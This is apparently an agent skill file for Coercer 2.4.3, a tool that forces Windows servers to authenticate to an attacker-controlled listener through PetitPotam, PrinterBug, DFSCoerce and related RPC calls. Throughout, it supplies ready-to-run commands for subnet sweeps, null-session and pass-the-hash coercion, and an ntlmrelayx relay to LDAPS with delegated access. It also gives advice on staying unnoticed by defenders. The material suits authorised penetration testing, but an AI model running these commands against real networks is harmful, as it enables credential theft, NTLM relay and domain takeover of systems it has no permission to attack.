coercer
Force a Windows host to authenticate to a listener you control using MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-DFSNM, MS-EVEN and MS-FSRVP calls. Use when you need machine or user NTLM authentica
SKILL.mdskills/coercer/SKILL.md
GitHubCoercer
Coercer drives the RPC interfaces that make Windows open an authenticated connection to a path you choose. It is the deterministic alternative to poisoning: instead of waiting for a typo, you ask a specific server to authenticate to you, then relay or capture that authentication. Version here is 2.4.3. Its scan mode tests every known method against a target and reports which ones work; coerce runs the same methods with --always-continue automation; fuzz tries many exploit-path variants per method.
When to use
| Goal | Mode | Command shape |
|---|---|---|
| Find which coercion methods a host allows | scan |
coercer scan -t 10.0.0.5 -I 10.0.0.1 |
| Trigger a specific known weakness | coerce |
coercer coerce -t 10.0.0.5 -l 10.0.0.1 --always-continue |
| Sweep a subnet, one method family | coerce -f + filter |
add --filter-protocol-name MS-EFSR |
| Only PetitPotam-style EFSRPC calls | method filter | --filter-method-name EfsRpc |
| Try every exploit-path variant | fuzz |
coercer fuzz -t 10.0.0.5 -I 10.0.0.1 |
| Produce a report for the client | export | --export-json, --export-sqlite, --export-xlsx |
| Use existing credentials | auth | -u user -p pass -d CORP --dc-ip 10.0.0.10 |
| Null session where allowed | auth | -u '' -p '' --no-pass |
Coercer proves that a host can be made to authenticate. It does not complete the SMB or HTTP handshake and does not capture a hash: its listener accepts one connection for about one second and only checks for an SMB or HTTP banner. For a usable hash or relay, put ntlmrelayx.py on that port instead (see the relay note under Workflow).
Prerequisites
- Network reach to the target on 135 (DCERPC endpoint mapper), 445, and the dynamic RPC range for named-pipe transports.
- A listener IP the target can reach:
-lis required incoerce.scanandfuzzaccept-I <ip>or-i <iface>, and bind0.0.0.0when neither is given. - Ports free. Check before starting, because a silently failed bind turns a working coercion into
NO_AUTH_RECEIVED:
ss -tulpn | grep -E ':(445|80)\b'
- Credentials are optional. Many methods work unauthenticated; pass
--no-passto stop the password prompt. This build has no-kflag even though the--no-passhelp text still mentions it, so Kerberos ccache auth is not available here. - On this host the binary is
~/.local/bin/coercerfrom pipx (coercer 2.4.3).
Core invocations
# 1. Full sweep of all methods and known paths against one host
coercer scan -t 10.10.10.50 -I 10.10.10.99
# 2. Sweep with credentials and keep a machine-readable report
coercer scan -t 10.10.10.50 -I 10.10.10.99 -u svc_scan -p 'Fake!Pass1' -d CORP --dc-ip 10.10.10.10 --export-json scan.json
# 3. Sweep a list of hosts, 30 records at a time, 1s between attempts
coercer scan -f hosts.txt -I 10.10.10.99 --delay 1 --export-sqlite coercion.db
# 4. Coerce with every method, no interactive prompts (the automation default)
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --always-continue
# 5. Coerce unauthenticated: null session, no password prompt
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --no-pass --always-continue
# 6. PetitPotam family only (MS-EFSR)
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --filter-protocol-name MS-EFSR --always-continue
# 7. Single EFSRPC function by name substring
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --filter-method-name EfsRpcOpenFileRaw --always-continue
# 8. PrinterBug only (MS-RPRN)
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --filter-protocol-name MS-RPRN --always-continue
# 9. Force HTTP authentication on a non-80 port
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --auth-type http --http-port 8080 --always-continue
# 10. SMB over a non-445 port (renders as \\host@port\share, WebDAV-style)
coercer coerce -t 10.10.10.50 -l 10.10.10.99 --smb-port 8445 --always-continue
# 11. Only DCERPC transports, skip named-pipe paths
coercer coerce -f hosts.txt -l 10.10.10.99 --filter-transport-name dcerpc --always-continue
# 12. Fuzz every exploit-path variant on a stubborn host
coercer fuzz -t 10.10.10.50 -I 10.10.10.99 --only-known-exploit-paths
# 13. Pass-the-hash instead of a password
coercer coerce -t 10.10.10.50 -l 10.10.10.99 -u administrator -d CORP --hashes :31d6cfe0d16ae931b73c59d7e0c089c0 --always-continue
Method-to-protocol map, as implemented in this version:
| Name in guides | Protocol filter | Function name filter |
|---|---|---|
| PetitPotam | MS-EFSR |
EfsRpcOpenFileRaw, EfsRpcFileKeyInfo |
| PrinterBug | MS-RPRN |
RpcRemoteFindFirstPrinterChangeNotification |
| DFSCoerce | MS-DFSNM |
NetrDfsAddStdRoot, NetrDfsRemoveStdRoot |
| MSEven | MS-EVEN |
ElfrOpenBELW |
| ShadowCoerce | MS-FSRVP |
IsPathSupported, IsPathShadowCopied |
Filters are case-sensitive substring matches on the RPC function name or the protocol shortname, so EfsRpc matches the whole EFSRPC family while efsrpc matches nothing.
Flags that matter
| Flag | Effect | Note |
|---|---|---|
-t / -f |
single target / targets file | one of them is required in all modes |
-l |
listener IP, required in coerce |
must be reachable from the target |
-I / -i |
listener IP / interface for scan and fuzz |
optional; binds all interfaces if omitted |
--always-continue |
skip the Continue (C) / Skip (S) / Stop (X) prompt |
without it, scripts hang after each attempt |
--auth-type |
smb or http |
chooses which listener port is used |
--smb-port, --http-port |
listener ports, defaults 445 and 80 | non-445 renders \\host@port\ |
--dce-port, --dce-ports |
endpoint mapper / explicit ports, default 135 | set when dynamic RPC is firewalled |
--filter-protocol-name |
protocol shortname substring | MS-EFSR, MS-RPRN, MS-DFSNM |
--filter-method-name |
function name substring | exact case matters |
--filter-transport-name |
msrpc or dcerpc |
dcerpc uses the 135 endpoint map |
--delay |
seconds between attempts | use it on production segments |
-u/-p/-d/--hashes/--no-pass |
credentials | omit -u for a null session; no -k in 2.4.3 |
--dc-ip |
DC for domain resolution | optional when the target FQDN resolves |
Workflow
- Confirm the listener is not already busy.
ss -tulpnfor 445/80. A bind failure is swallowed and reported as no authentication. - Scan first.
scantests known working paths across all methods in one pass and prints one line per attempt:[+] (SMB Auth)or[+] (HTTP Auth)on success,[!] (<RESULT>)on failure. Export to JSON or SQLite; do not scrape the console. - Pick the least noisy working method.
MS-EFSRandMS-DFSNMare usually enough;MS-RPRNrequires the spooler and is heavily monitored. - Detect, then exploit separately.
coerce -l <attacker>only proves the callback arrives. To turn it into a hash or a relayed session, stop coercer, startntlmrelayx.pyon that IP and port, and re-trigger the same method with it listening:
ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --delegate-access
Do not run both on port 445. Coercer's listener binds per attempt and fails silently when ntlmrelayx already holds the port, so a NO_AUTH_RECEIVED table while the relay console shows a session means the relay caught it, not that coercion failed.
5. Verify by result, not by assumption. NCA_S_UNK_IF means the interface is not exposed (patched); RPC_S_ACCESS_DENIED means the call is rejected; an SMB or HTTP banner means the target really authenticated.
6. Record method and result per host. The exported report is the engagement evidence; console output is not.
OPSEC and telemetry
- Coercion creates outbound authenticated connections from the target server, so the victim's own logs show it connecting to an unfamiliar host on 445/80. That is the anomaly defenders look for.
- PetitPotam-style EFSRPC calls are covered by Defender and by EDR RPC telemetry; expect an alert on unpatched test domains.
- Each RPC bind and call is visible in the DCERPC endpoint mapper; a sweep across a subnet touches every host's 135/445 and looks exactly like what it is.
- Coercer itself logs to stdout only; the exported JSON/SQLite is your artifact. Keep victim IPs out of shared reports.
- When relaying, the useful authentication appears as a normal network logon on the relay target, so the DC sees nothing unusual.
Failure modes
| Symptom | Cause | Fix |
|---|---|---|
every method NO_AUTH_RECEIVED while relay logs a session |
445/80 already held by ntlmrelayx | expected; trust the relay console instead |
[!] DCERPC port '135' is closed! |
endpoint mapper filtered | open only if in scope, or use named-pipe methods |
RPC_S_ACCESS_DENIED on all methods |
patched host or insufficient rights | try -u/-p with an account that can bind |
NCA_S_UNK_IF |
interface not implemented or removed | skip that family, try MS-DFSNM/MS-EVEN |
ERROR_BAD_NETPATH |
target cannot reach the SMB listener | check routing and --smb-port |
| command hangs after each attempt | interactive prompt | add --always-continue |
No module named openpyxl on --export-xlsx |
optional dependency missing | export JSON or SQLite |
unrecognized arguments: -k |
Kerberos flag does not exist in 2.4.3 | use -u/-p or --hashes |
| target list processed but every host identical | --delay 0 floods and RPC calls time out |
raise --delay, lower concurrency |
Verification
coercer --help | head -6 # banner with v2.4.3 and scan/coerce/fuzz
coercer coerce --help | head -12 # confirms -l is required, -t/-f exclusive
ss -tulpn | grep -E ':(445|80)\b' # listener ports free
A successful scan run prints at least one [+] (SMB Auth) or [+] (HTTP Auth) line. Every other method prints nothing or a [!] line naming the result, such as NCA_S_UNK_IF or RPC_S_ACCESS_DENIED. Zero successes across all methods on a current Windows Server is the expected result, not a broken tool: verify the listener firewall first.
Related skills
- responder for broadcast-based capture when coercion is patched everywhere
- mitm6 when the authentication trigger must come from DHCPv6 DNS takeover
- impacket for
ntlmrelayx.py,PetitPotam.py,printerbug.pyanddfscoerce.py - netexec to find hosts without SMB signing before relaying
- hashcat if the coerced hash is captured rather than relayed